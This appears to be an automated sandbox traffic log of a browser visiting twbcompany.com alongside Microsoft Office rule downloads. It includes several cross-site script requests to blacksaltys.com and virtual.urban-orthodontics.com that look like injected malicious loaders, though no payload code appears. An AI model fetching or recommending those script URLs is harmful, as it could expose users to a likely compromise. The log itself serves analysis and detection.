Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/b-pillar-outer.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/tailor-welded-hotform-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/b-pillar-inner.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/tailor-welded-hotform-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/03/HFTB-MP-Rail-Frt-Flr-1300-410.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/tailor-welded-hotform-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/HFTB-MP-Rr-Rail-Lwr-1300-410.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/tailor-welded-hotform-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/HFTB-Tunnel.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/tailor-welded-hotform-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/longitudinal-rail.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/products/tailor-welded-hotform-blanks/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/hot-formed-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/b-pillar-outer.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/03/HFTB-MP-Rail-Frt-Flr-1300-410.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/b-pillar-inner.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/HFTB-MP-Rr-Rail-Lwr-1300-410.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2018/04/HFTB-Tunnel.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/longitudinal-rail.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303057.0.0.0
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /services/optimized-material-utilization/ HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303067.0.0.0
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/services/optimized-material-utilization/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303067.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/material-optimization-hero.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/services/optimized-material-utilization/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303067.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/optimized-material-utilization/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303067.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/services/optimized-material-utilization/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303067.0.0.0
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
